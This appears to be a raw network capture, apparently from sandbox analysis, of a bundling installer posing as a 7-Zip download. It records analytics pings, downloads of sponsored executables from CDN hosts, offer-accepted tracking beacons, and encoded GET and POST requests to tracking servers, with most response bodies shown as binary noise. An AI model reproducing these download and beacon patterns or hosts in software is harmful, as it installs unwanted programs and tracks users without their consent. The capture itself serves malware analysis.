.:.J5.Vy...........%5....... ..g.*..v..".......K..e0....H.....n..6a...
q..I..8..:.q1`......Z*'[email protected]... X.1.....
.B.km._.Uzr..2.D..2..n..}8.wu.O....38..}5.c.`.. ....`...MC.....#A[
<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.4&utms=1&utmn=171427984&utmhn=bi.bisrv.com&utmhid=870522207&utmr=-&utmp=Installer_Init&utmht=1430385726787&utmac=UA-31676879-1&utmcc=__utma=1.2090475166.1430385727.1430385727.1430385727.1;+__utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=1773454494&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Date: Thu, 30 Apr 2015 09:22:04 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Server: Golfe2
Content-Length: 35
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Thu, 30 Apr 2015 09:22:04 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=1..GIF89a..........
...,...........D..;..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=321582-643164
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321583
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 321582-643164/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Kk5bDQBc594Wpnk6MduUN_nl1L3ONBBrU5I4v7ml8VyE4SPnCgVVtg==
..`../r"k>F-O../......I......(..vWPN.. ...J......."..j&.b.n........
.........V...O_.Zj...~4..T...}TMZ.....y.s.i.....G..b......[.x....,3...
.Q....%.'.M.m.}........j..E...........m......>.P....y.x".G.2c....}.
'.Q.....eP../..... h....9.8m(....'}"..(.U.N.....6E.._._&J.rv...iS.....
t...^^!......g..X..$.../...|..l...!.E..Q9..#.$.I...Y..<G...........
._.`TKq`....*...E.R...h............H^A.W.2=....%m..9s...p..WS ...n....
6_..U...d...N........*......aqj.......e......f...J.u.4...3...&j.=~..3.
.E..x.a....X..".G.J.aQSF1..4.b..O...L.....a.[..,............8..!M.....
....#v..$..Gv}h../.6o.x.:/.r..5lF....5W.4..s..\q~.D >{.wJ/..DA S...
.MOb....Y'E.0..\Ah.9.....{.:...-)kj[..q.-....n>.IC..2......m-...*f"
JmmVr....".o..n....\O$..V~p*I...x[&..d{......R0.L.>C.Xn....0..]....
$..L..5=k.q.....A.l..I.'..g.....$.....u{.c......).;Ke\H..?.x...8......
{<.p.....=D.........W.....B.R.p.E....U..HM....#..S.3f<r..1|:...N
"P}O..U... .5.JZ..x..>8..m......H....E...N...Y.._.\..x...S..<..*
`=.@[email protected].......)Y.b.@H/..?..n9b......4....x["..i.wH.....c...iP7k.s.r
.........V:;M..=I.d..........K'[email protected].....
...........S....?_..F...#-Of..`:......&.. E..Rg/..{...E..f.....n...O.5
...'zd..*.T.....A..#!"@.>.......AW...$ra....M....... <O.>l[..
.....n...c.g.).*N..A=..[6q..'..2..Zg..h}........'>...^kGT......,i..
..m|y....I..V...D....#.]............s.k...E.x....Z........J?..{m......
....T.).*.4".....cv._....7S[2O.)<.f&D.`...73t...^{.._k'..{.ref...gS
...=(..Q.4.4F...O....J.t...9t.;..!OH$S..B....[....9....mS....'.^..
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=832858-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:23:53 GMT
Content-Type: application/octet-stream
Content-Length: 277618
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-..-.. ......T<N,..O([email protected]=.>..
.n.....6b.p....^4.....^.A./.......~5..z..~..UO.......iH.6..%....... .1
...{o..f$U>.]Y7.Xh|..![.............<......P9)..Q,..B.t.....f{..
t[...'.....&..VJ. ..9T!XH......&y.=.....O...4...Z....S..g..E/D.I%o....
PBL.........`.0..9I....&....d.....^... ....|Q....Qn..e"\.2.o.7_..A
<<< skipped >>>


GET /pin.gif?e=updinst&s=9813&i={11DA3D55-09E3-4F9F-8E2D-EE9FD4CCF471}&overs=9813&overi={E7875669-BB28-462E-BE68-71C7238AA8F4}" HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: track.madagascardomain.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:26:57 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Thu, 07 Aug 2014 08:18:11 GMT
ETag: "22-50005baba6d35"
Accept-Ranges: bytes
Content-Length: 34
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: image/gif
GIF89a.............,...........C.;HTTP/1.1 200 OK..Date: Thu, 30 Apr 2
015 09:26:57 GMT..Server: Apache/2.4.7 (Ubuntu)..Last-Modified: Thu, 0
7 Aug 2014 08:18:11 GMT..ETag: "22-50005baba6d35"..Accept-Ranges: byte
s..Content-Length: 34..Keep-Alive: timeout=5, max=100..Connection: Kee
p-Alive..Content-Type: image/gif..GIF89a.............,...........C.;..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=643165-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 643164
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 25 Mar 2015 11:12:47 GMT
Content-Range: bytes 643165-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: e8qDIhtNj6po6VpAWccOR0agfCSL8LXdoFVCY4peZL2rL4S3iK_H3A==
...E.oDW...*/[email protected].....;.ht..^......
@..........F._o.[.Ru.....mT.............d.u .K.6M.,....../.p./z.8A.;.2
-...p0W6^F.....V.oP...U...qV...y...W................Z...h..T...y.....M
..*M........?O$..}s.......r...7..D.uBDE#.nqJ....!,......".M..#... ..oR
ox.tY%....`...D6f.c...)s...JOF\....r..2......kF 7\...p/../q.H..1`.A..a
.N......K..0.j...n... ...R-..F.mB...jq.ED..J.S...........u.@.:5p>..
..}n^B..*'...x...B......&..K......q....U%[.=H../.IR..y...<.=.......
.J.=Y^....%.......*....H...'W..)Vy..q..o. -.k..*.l(...>.Lys.=..?#..
A...E....Ht....4.h/......i........^.q..LI..y.....X..f........Gpu.....p
.5(...5..W.*Z......M..)......?.....;N.>5u.bC..,..kDa...n....Cu.....
6......K...../......m...6...OgF. D....m.:...a}$..s.....K.H0(`..g.....y
.....R..>.u9...[\.>.h.........g....i_....;..U.#.$9....V.T.>.H
e..L.=...8......\.-y..2~..~.'c............xT....=E..e...b._...>.'.z
...&rs.}.....3?.....n.T....".fu...b.(..tI2Z.../.8s.c.6..........9.GH\.
.\C.P%_>..V.)....(..F..,.alW...,.`.S:.Is\._...>......L.yHr..Vx.?
...xb.yF..'...'6.h..g...y q.....~.j....76N..{...;C..i,..o\.../x.0.]..e
'.n.K.b.`....dHV....f....I....3..'..!]..0.CxJ...=...V..O./.9......V...
=.Q`.F..K....q.P{.....i..9.*.*."[email protected]=..A.D...c>.....)FD/R..:...'...
..x3..T.&........C%.(.......(...( .2..v....R.>...p..gP.4...|.U..o..
...[C.U2..*g...K....H[.]...N.....Yl..XVQ.~....y.....V...N...o......?~.
.$.e..}........2.N[|..../.o...}....H^.....D.q..B#..~....[w~.}F*.f....$
..,..2.....=.s.bs :<..<=...W..#.Z.6...q..g)....'R..'.....A..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=261628-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:27:18 GMT
Date: Thu, 30 Apr 2015 09:27:18 GMT
Content-Range: bytes 261628-523255/523256
Content-Length: 261628
Connection: keep-alive
/9.,.....d.z$...TK......?RU..kD.M..n.r..Ol;[...`..{......_.=....5..Nc.
.r...te..C..jI..^.....k...'OM[3.rW.!).7...t...l......`7....=WK{.<Q.
...#.r. Juq..z..5....FD..:..)H...'.j...R..B...y.e...{H.:.k&...l.V.p4..
..</{[email protected].@.....>B..y....7....Q...=..(.........
.G..... ....o'...J.E%.K.;......d.....S..w.vJ......:..(^...G....Z.Y3{s.
..S..me..L...n...()..=.Y. .0.B.....EA#O.Q...O..%..;0c....?.f.>.Ry..
.h.p...<..k..x.'...[9......b...9.q-FA...4.]...SFo..=....S...z..C/..
].b.l..:..2...7_L...b...O....E.7P.tk.57.p.uL.M....q]..aF.i...f.2.z....
c.w#.."d2...*>..z...r......s..<..0...F..b.I.mjD.;.V.v....R.....@
.]c....R..U.df.....|....).>......Q....*....;C_.l.....a...i..Gt..g.n
../.Q.. 8w....b.a...N}z.-.S-3.Z..u....9*..`.8.1.!2./........o2........
j.eK..:...^...a......I...~o.i.........r...hi.*m...._......e.Y.aYF.3c.7
....;.p.*g.|O/Z.......b.........I...t..5..".np......?...U........bX`9.
....F..^...~.p5.g..?..j...F);Q..A..S..Dt.........agR.B..l......5.K...T
.....q..1.........r....&....KV.{..)j...p.3.N.~.f....i........e...C..|.
a.WE....KD.,^.hH.].*....8..)..}]y...Z.F .r...{.?*..2..#.M.Q....8#e..s1
....t...&e*..#.d.1.u.....EY.....p.W~I... .#.C.#....m..0i.vV....~...lq]
.>.[.!.....\....X.'.....l..1x...a.D....g..X..#......n...w..Y...Gya,
..v0.nH%.................x..,.`|.X..3.zo..<!9-1....2.[..Q#..K..iP..
k.....}5..1X.p7m$...py........c.b..C...U0.............G....Z>......
.}.P|k4.].....A#....Z EC.~0.,.....09.j..2.K....g....7{.0..R....i.`2...
U..;z..w....R......w.....^...g.F}.$g.:..H..}.W."..0..N]~>.."...
<<< skipped >>>


GET /ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCBeKFkbaBLGY HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: clients1.google.com


HTTP/1.1 200 OK
Content-Type: application/ocsp-response
Date: Wed, 29 Apr 2015 21:31:41 GMT
Expires: Sun, 03 May 2015 21:31:41 GMT
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Cache-Control: public, max-age=345600
Age: 42931
Alternate-Protocol: 80:quic,p=1
0..........0..... .....0......0...0......J......h.v....b..Z./..2015042
9130934Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
....F........20150429130934Z....20150506130934Z0...*.H..............X:
p.:7....j.H...I.dE. ..~..s1..y.I.......z(..DU.........B_h......j.8.).F
.N[zJv..e.........GZ.W.o...{....>."[email protected]....#U........
..jA....{.5.... ...u>>"8..G"[email protected].....,.
YlKf.h.H.%yW.....>L..([email protected][.X.o....?.}.z.HTTP/1.1 200 OK
..Content-Type: application/ocsp-response..Date: Wed, 29 Apr 2015 21:3
1:41 GMT..Expires: Sun, 03 May 2015 21:31:41 GMT..Server: ocsp_respond
er..Content-Length: 463..X-XSS-Protection: 1; mode=block..X-Frame-Opti
ons: SAMEORIGIN..Cache-Control: public, max-age=345600..Age: 42931..Al
ternate-Protocol: 80:quic,p=1..0..........0..... .....0......0...0....
..J......h.v....b..Z./..20150429130934Z0k0i0A0... ..........j.....p.I.
#z...(~d..J......h.v....b..Z./.....F........20150429130934Z....2015050
6130934Z0...*.H..............X:p.:7....j.H...I.dE. ..~..s1..y.I.......
z(..DU.........B_h......j.8.).F.N[zJv..e.........GZ.W.o...{....>."i
[email protected]....#U..........jA....{.5.... ...u>>"8..G".....
[email protected].....,.YlKf.h.H.%yW.....>L..([email protected]..
X[.X.o....?.}.z...
<<< skipped >>>


GET /4475.ashx?e=WL9usJOVMsMLjT49fHfOTKBJ0hpo9ZTG/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B L7Jw8Fk1 i31fTgrR12XwN5lyRGN/ZhwIcLERiDa7o2uwjb78QzN9FYm5VRTy/qYKbHXQ3LZlHwdE4jBu2OwY8 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qos7ozJ3T9gfn6pqgVuVy 5fXvfdY6g9CW/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLBe0PvZWP1HT3xQxMe6d/YXmZBdfxwiphL5XLptJ1YYB/8Mh/eDEz4I= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:37 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=WL9usJOVMsMLjT49fHfOTKBJ0hpo9ZTG/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B L7Jw8Fk1 iqUVvKp9Lg9XHvdM54V2LCI4G r 3F6T7B28jN/IR4nVi6hMIdMwrqATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcSwMKk0YNBDNHuPeAOMOoWr/iAwI6x/7 dWWBJOHNraqsEWqUszzacWNtIkZZ3YKA9A== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:37 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=2v0SNuZrMFyw0RTUGALXSqjJfooaJy9 BRUQCr/0HY94E7mrr1h80pGhRXiiBAM3/pj4Ga9vJtW/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxs4w9Wm71Kk6mVvO2Kq2gv8U1nnW3RVow kpGM0HsBZ4L035I4OsxKZQAPEg9HAY/7i9yaZDVXNnKYX3Ti/i3YOWcmQ2qx PSIgI4Iz7fz4ZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Low7QjwPfdWbpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:37 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS



GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=2&index_in_screen=1&index_in_session=2&0.8954149863764207 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.1.10.1430385829; __utmc=1; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:24:18 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:24:18 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mg?alpha=RQ8nLCALR2R2FXdLCAYvREt0ISBFSSVdIzcVU245RS1mOFMXAjpeSkdJJlhyH2s/e19ECElbZyh9dHBAVgcdIVI9WDtjKxVUQzZrVi9y HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: install.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Thu, 30 Apr 2015 09:27:03 GMT
Content-Length: 2004
IJUB67J/qXS5 BfuPJftN81F4711gl78 USiV7ukLsxB7/M8qVSP1jCvZpGebp8W/p9ku3
3j4l/6M9PRWKwRmIEM1Rap8AKWSaqlA8kU0PQO5UTvrHDJB8LxOpd3/Ptmsh 3pWn7R8yA
Z4JjvL4pkQ7gi3y/c/uldNMF5OBwlBu6mAvCUf3qNJVL8vUKyjXW5RzYQ OoY MMwuEN6Q
n//3qHCOGlLKpV2oNggw/ntS3fR vSMrYnuKN4gVrz5mCVMPePXM4X5b54yQv8oxXVIpe6
cPF82YkkjEbX4xKjEaO8RY0epOkxvEPDjX6UcYGDPtxX641j8xK2rmXXD/W2OdI7upgLwj
2m6STbHbCiAMlrl UqyVLpqmPEMsbuE64Ro/BjmAHhpSO2Q86JXIZZtKUp8FzrnXvxZb h
YNAFq7Z8gymsmwzDUf3iIJVUu/tOwD/U4yabDf6sc8UZi/lEole7pC/FQe/zPKlUj9Ywr2
aOhG6fFv6fZLt94 Jf2hPu mGVP7WVEtQvm9c1i06wsB Ha5f2M9VC75BnzQGFuAi X/Wy
NJEVveImrVTJunOLWLjxdt1B4pI88Tm2sm/GLubgfIYomJwbxBjlvieYS62yQIcuxuQl1k
Xu/DzGBcvxA cR/OZ3lxnvvTGrRMiRPpwPtLduiQ280jKnJqmlLplCz99Gp2/31g7GB6 m
e9t0p6QFyzPQ8jzYW/mCWuER0 00vl3qvDrWG6zrMLx/zIF3xRezpiDfGKybaKM6urRpxz
bm GCVb GaC8sf66YnllW9siLEM9z2N/pf771tgl7B4wq4VrW8f4cJuug3vROXinOLXrj/
btZM751k8WWtsnnGHavvN5kp c5HlF/l8DiJQvztTu0M5tdwlRX6v3LIRp2gNbJA8PBikR
 j5imqbfG8YIhOmaYhwxai3GayM6ylQsIN4rYvnji3mFKFFr/0JJpTu7M6xCvA5XCDWf y
aoxGwe0UqFbX/2KdG6jELbxSxs4ogUyxoCmfFueNdKQwq6QumQbm GaVYfmRBsYQs6Z7jV
WrshGJPJfpNpsNs oqghDe8gPpCbvWXac676tnqVDZhDDdD5C6L8Fb/ZF2pwOFl2XNBOjj
ZqwRmIEM1Rap8BecVa2 A8sb6dU80Fn5qmfMCPveJ6VH8NJ5kwqo9Wf1E9uNfpJIk7Ih1h
a0kGW/M/XiadsQ4vdhlSmNlRLSFuW L4xLsvtOwyjH4zf3Vv63cMUnz cFoBGj HeYHqir
Z7BCyZt9lUn/6SrSWP2bPPE6oaFv10K94GeFKKbYBYUao6Z7yBfs 07RPsXlcIMVwpVV90
aLoBaqR/G8LNYgpOQ3tkLCima7cYq6Itdb Y1Mjxyssn7GDvPCcII spsQ y S6iiXVKq2
AMkb6dc7y1L5tmfSD4WuRL1S9etzugyg4mfjX9iAfssPuKs81lf6m3SFPrW1aYFa6eF5nG
H5khHVEKLKII1OqLIvzSLW63CDUeuydcVIhesVr0T27HLWV6vmKapUgc53n0y p26J
<<< skipped >>>

GET /fp?alpha=VX0QKRUOcgFkAgkAPwMaVDlDJBVVIQZYVHJ8UTZJUmkdKVNXDBNbDyE/CSk3FGljexhID3orU1QJQnNxTSpvKBI7CldEZwYhcDoDcClrJAoWfBNlS0JlR10QKxMQawBQKVE9EQUHGVZ5UjoMMkcPbh19alQDfi9KSHtBdxUCazIkBUY4A3dGGSQAPER9bWAWB0VmBnEbU3BMRRUrAxZuFFElXDgXEAZFT39VLwsmVAhoBSo4RV8qPQUUdiEtXAV2NWFzXyoBbU1bfVl7GXw+djtzY3dEOh1OekVUFCMVEmkfAm8QMndZX0QAPBQveHoSXDVBKSs7R30iVE18Q08VFW01fW5JeFREF3AkADFIIHQUWhMSYR5lS0p/QkgSVhcQbABSLzpOZHQURiljXGsl HTTP/1.1


User-Agent: NSIS_Inetc (Mozilla)
Host: install.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Thu, 30 Apr 2015 09:27:08 GMT
Content-Length: 0
....


GET /ii?alpha=VX0QKRUFWQgKezxyPwMaVDlDJBVVIRwBGGBOBDhQByFablBADHMYIgF7HE0RWjRXKH8MTStpLh12Q3UCVTZsLX05dkw3EQEhAi5WcD5rBkZ4Iks4SAYpUxZCLhAWH39TKUpMDQJ3Fy5mUzsMK1l7aBMOdFcIf1pXPH4wAQFQXnp0JTZ7RHMeBiEHKV4peXhFHgljFH1JR3pTAUB1YVA0BAp5BH9MX0NFSS8CaX5tG29mFHx3VRV3KVdJZUBzBlIpen42ZAMNZh5hQhBzA200JhIacDhILBYEO1lFEycOQDJNRXMPeUVCDG0GKBVgT3ASTXtyJTcBVDloR05rITdcBn0vajpkIQNpA3oxFmoVaz4/GEkHawZ+V0JmQlMVIgNRPksVdR9qAEBQQwRrXS8NMUQfNFYgOAtcc14JHicYNltAMAl3On8qBiVwQHBCeQMwazgBGhN3SHoJTjFTBFMuGhJ3CFMuWmJBDQEQVX5XNQkpTgsZH35pXw97PRcWL0wDUgxrOT83ZCIMOGd6TnhdVn0iOxQaYxJ5BjhVLAFYc15UQylcTzwqQldRQ0VPHQ59SGoVVXt2bAomaAc7IxA4GmV3BW41ejYtPwk4BVF/VSFBPzdrRgIAAVE5Awc= HTTP/1.1


User-Agent: NSIS_Inetc (Mozilla)
Host: install.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Thu, 30 Apr 2015 09:27:09 GMT
Content-Length: 84
XT/etFRXZZywIUJc48gVW3KcoEtZMJm5JlQzuORUSSvA/kMCHZueZkNvn dGQniMtDpXF/
XqSgz97u0Uku2C....


POST /if?alpha=WHlYKGBEOyYoRm51dwJvWT0LJWBYJVQAbW1KTDklCiUSbyVNCDsZVwx/VExkVzAfKQoBSWNoWxByC3R3WDIkLAg0cgQ2ZAwlSi8jfTojBzN1JgM5PQstGxc3IxReHgpeLQJNeA9zXy8TXj9EKix2bFsPAVoMN1siMXp4AHRdWjJ9RTsYQmE6VVwQdHFfIHIaAV08GipkWCFLWWQ4UVdofF8tGj5hEwdRQAxYPkQqMxI7CCtuGlA7c3cMP1UrNAg6cH1ARDlFUmsIJVAtKy17LkZ8G2Nbez1YK1gLHHFEVw8fSHdHeixNUFU5VwRvG2lyGH9beQEKVnI8fQc5XDZ7IHV3akl1JExwdm58EHlqYzo+QXJ6JwEvaQ0/VAs+f0tKFGxOblF8JlRaBk4ESj1aLy8DaV18DBtadGx7FyoZNCcOdzQiBjdlGiI5Snkfc2IpDHARPkMmBmkkKyJUEDV6BzkuLRp9RydzU0NVWhgEOQQjeBI+G3AVWBM3KiBSIlh5dl0mISgcM30QNhQDJ04nMSFvbhk2FxMPJX8balkLPXAaLhQTIFkSajpQVlUqfTVFNThlQGI7AFsJTWM2MiICTiU0CDxCcVRyPktodmo1LV5WXWlaHyFBdSosehcvWGwnXAY0f0k= HTTP/1.1


Content-Type: application/x-www-form-urlencoded
User-Agent: NSIS_Inetc (Mozilla)
Host: install.theswiftrecord.com
Content-Length: 78
Connection: Keep-Alive
Cache-Control: no-cache

alpha=WHlYKGAqe24KEAZvXUwOfyYLO38iLVkJDF9XGh4tGnloQjpeVAQyag9mBEJoWDgLNEtgC0gJ
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Thu, 30 Apr 2015 09:27:09 GMT
Content-Length: 41
{"status":"OK","url":null,"message":null}HTTP/1.1 200 OK..Cache-Contro
l: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; cha
rset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 
4.0.30319..SVR: SP003C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR".
